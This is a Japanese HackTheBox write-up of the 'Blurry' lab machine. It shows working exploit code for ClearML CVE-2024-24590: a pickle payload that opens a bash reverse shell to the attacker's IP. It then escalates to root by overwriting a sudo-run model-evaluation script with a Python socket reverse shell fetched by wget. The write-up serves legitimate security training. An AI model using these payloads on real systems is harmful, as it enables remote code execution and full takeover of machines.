HackTheBox Blurry WriteUp

今回は、HackTheBoxのMediumマシン「Blurry」のWriteUpです！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/fb34a25c-449c-42bf-9ec5-afcb2e52e371.png)

Mediumにしては、グラフが少しEasyよりな気もしますね。
さくっと攻略めざしていきましょう！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Blurry

### 列挙

それでは攻略を開始します。
まずはポートスキャンから実行しましょう。

```bash
+[~/blurry]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.19 

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
```

22番と80番が開いています。
とりあえずブラウザでアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a2abd670-3229-a23a-aafc-cc5dabaafcc8.png)

```ClearML```のログイン画面が表示されました。
認証情報は何もないので、とりあえず適当に入力して「START」を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/800bdd76-5ec7-c5b2-793f-3a580706519d.png)

ユーザ登録に成功し、ダッシュボードが表示されました。

### CVE-2024-24590

ダッシュボードへアクセスできましたが、特に気になる情報はありませんでした。
なので、```ClearML```に脆弱性が公開されているかGoogleで調べると以下の記事を発見しました。

https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/

いくつかの脆弱性が公開されていますが、その中でも「CVE-2024-24590」はリモートコード実行につながるようです。実際に動画も公開されているので、参考にしていきますが、もう少し攻撃を理解するためにAPIでアーティファクトをアップロードするフローについて調べてみました。

https://clear.ml/docs/latest/docs/references/sdk/task/#upload_artifact

記事によると、アーティファクトをアップロードする際は```upload_artifact```という関数を使用するようです。引数は以下のような種類がありました。

```
upload_artifact(name、artifact_object、metadata=None、delete_after_upload=False、auto_pickle=True、preview=None、wait_on_upload=False、extension_name=None、serialization_function=None、retries=0)
```

名前やオブジェクトを指定する必要がありそうです。
アップロードのフローについては理解できたので、次にタスクの設定を方法を調べました。

https://clear.ml/docs/latest/docs/references/sdk/task/#taskinit

タスクの設定には```task.init```という関数を使用するようです。
例として以下のようなコードが公開されています。

```python
task = Task.init('myProject', 'myOtherTask')

d = {'a': '1'}
task.upload_artifact('myArtifact', d)
```

まさに私が望んだコードです！タスクを設定し、そのタスクに対してアーティファクトをアップロードしています。
タスクは既に存在している```Black Swan```が使用でき、オブジェクトは実行したいコマンドを指定すればよさそうです。

必要な情報がそろったので、攻撃コードを作成しましょう。
今回使用したコードは以下です。

```python
import pickle
import os
from clearml import Task

class RunCommand:
    def __reduce__(self):
        cmd = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/2121 0>&1"'
        return (os.system, (cmd,))

command = RunCommand()

task = Task.init(project_name='Black Swan', task_name='exec', tags=["review"], output_uri=True)
task.upload_artifact(name='shell', artifact_object=command, retries=2, wait_on_upload=True)
```

作成できたら、実行していきますが、```ClearML```のAPIを使用するための設定を行う必要があります。ダッシュボードからユーザのアイコンをクリックし、「Setting」を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/92e96df0-0fd2-23f4-2a38-8ad3e9916bb9.png)

最初はプロフィールが表示されています。「Workspace」へ移動しましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/16328ce9-dd10-c74d-ec3e-52a31ca6983a.png)

認証情報を追加できるので「+ Create new credentials」を押下しましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f3541147-a190-649d-e03a-d03f15c516bf.png)

認証情報が出力されました。これをコピーしておきます。
コピーできたら、```clearml-init```を実行し、認証情報を入力してください。

```bash
+[~/blurry/cve-2024-24590/clearml]
(σ▰>∇<)σ<10.10.14.8>$ clearml-init                                      
ClearML SDK setup process

Paste copied configuration here:

<credential>

ClearML Hosts configuration:
Web App: http://app.blurry.htb
API: http://api.blurry.htb
File Store: http://files.blurry.htb

Verifying credentials ...
Credentials verified!

New configuration stored in /home/kali/clearml.conf
ClearML setup completed successfully.
```

これで準備万端です！

## jippity としてのシェル

では、シェルを取得していきましょう。
待ち受けは忘れないようにしてください。

```bash
+[~/blurry/cve-2024-24590]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
```

待ち受けが作成できたら、攻撃コードを実行します。

```bash
+[~/blurry/cve-2024-24590]
(σ▰>∇<)σ<10.10.14.8>$ python3 exploit.py
ClearML Task: created new task id=c1ac027efaa94b419e9a73adea9ee91e
- clearml.Task - INFO - No repository found, storing script code instead
ClearML results page: http://app.blurry.htb/projects/116c40b9b53743689239b6b460efd7be/experiments/c1ac027efaa94b419e9a73adea9ee91e/output/log
ClearML Monitor: GPU monitoring failed getting GPU reading, switching off GPU monitoring
```

特にエラーのようなものは出ていないように見えます。シェルが取得できているか確認すると...

```bash
+[~/blurry/cve-2024-24590]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.19] 37560
jippity@blurry:~$ whoami
jippity
```

シェルを取得できていました！侵入成功です！

```bash
jippity@blurry:~$ ls -l
total 20
drwxr-xr-x 2 jippity jippity  4096 Feb 17 12:46 automation
-rw-r--r-- 1 jippity jippity 11007 Feb 17 11:07 clearml.conf
-rw-r----- 1 root    jippity    33 Jun 15 02:48 user.txt
```

ユーザフラグも取得できました！

### 権限昇格

それではここから権限昇格を目指していきましょう。
まずは```sudo -l```を実行します。

```bash
jippity@blurry:~$ sudo -l
Matching Defaults entries for jippity on blurry:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jippity may run the following commands on blurry:
    (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth
```

```evaluate_model /models/*.pth```が実行できるようです。```evaluate_model```について少し調べてみます。

https://www.rdocumentation.org/packages/nichenetr/versions/1.0.0/topics/evaluate_model

名前のままではありますが、モデルを評価するもののようです。引数として```/models```ディレクトリにあるPTHファイルを指定しているので、```/models```ディレクトリも確認してみます。

```bash
jippity@blurry:/models$ ls -l
total 1060
-rw-r--r-- 1 root root 1077880 May 30 04:39 demo_model.pth
-rw-r--r-- 1 root root    2547 May 30 04:38 evaluate_model.py
```

```demo_model.pth```というPTHファイルに加え、```evaluate_model.py```というスクリプトがあります。内容を確認してみましょう。

```
jippity@blurry:/models$ cat evaluate_model.py
import torch
import torch.nn as nn
from torchvision import transforms
from torchvision.datasets import CIFAR10
from torch.utils.data import DataLoader, Subset
import numpy as np
import sys

<...>

def load_model(model_path):
    model = CustomCNN()
    
    state_dict = torch.load(model_path)
    model.load_state_dict(state_dict)
    
    model.eval()  
    return model

<...>

def evaluate_model(model, dataloader):
    correct = 0
    total = 0
    with torch.no_grad():  
        for images, labels in dataloader:
            outputs = model(images)
            _, predicted = torch.max(outputs.data, 1)
            total += labels.size(0)
            correct += (predicted == labels).sum().item()
    
    accuracy = 100 * correct / total
    print(f'[+] Accuracy of the model on the test dataset: {accuracy:.2f}%')

def main(model_path):
    model = load_model(model_path)
    print("[+] Loaded Model.")
    dataloader = prepare_dataloader()
    print("[+] Dataloader ready. Evaluating model...")
    evaluate_model(model, dataloader)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python script.py <path_to_model.pth>")
    else:
        model_path = sys.argv[1]  # Path to the .pth file
        main(model_path)
```

ファイルの内容からしても、```/usr/bin/evaluate_model```のPythonスクリプトバージョンであるような気がします。試しに、何も変えていませんが```sudo```を使用し```/usr/bin/evaluate_model```を実行してみましょう。

```bash
jippity@blurry:~$ sudo /usr/bin/evaluate_model /models/*.pth
[+] Model /models/demo_model.pth is considered safe. Processing...
[+] Loaded Model.
[+] Dataloader ready. Evaluating model...
[+] Accuracy of the model on the test dataset: 68.75%
```

出力されるメッセージは完全にPythonファイルと同じですね。

### File Overwrite

今までの調査で考えられる一つの可能性として```/usr/bin/evaluate_model```は```/models/evaluate_model.py```を実行しているということです。
仮にこの仮説が正しい場合、```/models/evaluate_model.py```を上書きすることができれば、任意のコードを実行できます。上書き可能であるか権限を見てみましょう。

```bash
jippity@blurry:~$ ls -l /      
total 64
drwxrwxr-x   2 root jippity  4096 Jun 15 06:49 models
```

```jippity```に書き込み権限があります！権限的にはクリアしているので上書きしてみましょう。上書きするコードですが、今回は以下のコードを使用します。

```python
import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.8",2122))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

import pty
pty.spawn("sh")
```

まず、ターゲット側に置き換えるコードをダウンロードさせます。

```bash
jippity@blurry:~$ wget 10.10.14.8:8000/evaluate_model.py
```

ダウンロードさせたら、```cp```を使用して置き換えましょう。

```bash
jippity@blurry:~$ cp evaluate_model.py /models/evaluate_model.py
```

これで準備完了です！

## root としてのシェル

それでは、権限を昇格させましょう。
まずは待ち受けを作成しておきます。

```bash
+[~/blurry]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2122
listening on [any] 2122 ...
```

待ち受けが作成できたら```sudo```を使用し```/usr/bin/evaluate_model```を実行します。

```bash
jippity@blurry:~$ sudo /usr/bin/evaluate_model /models/*.pth
[+] Model /models/demo_model.pth is considered safe. Processing...
```

実行自体は成功していそうです。待ち受けを確認しましょう。

```
+[~/blurry]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2122
listening on [any] 2122 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.19] 33116
# whoami
root
```

権限昇格に成功しました！

```
# ls -l /root
total 8
drwxr-xr-x 3 root root 4096 Feb 14 09:37 datasets
-rw-r----- 1 root root   33 Jun 15 02:48 root.txt
```

ルートフラグも取得できたので、完全攻略達成です！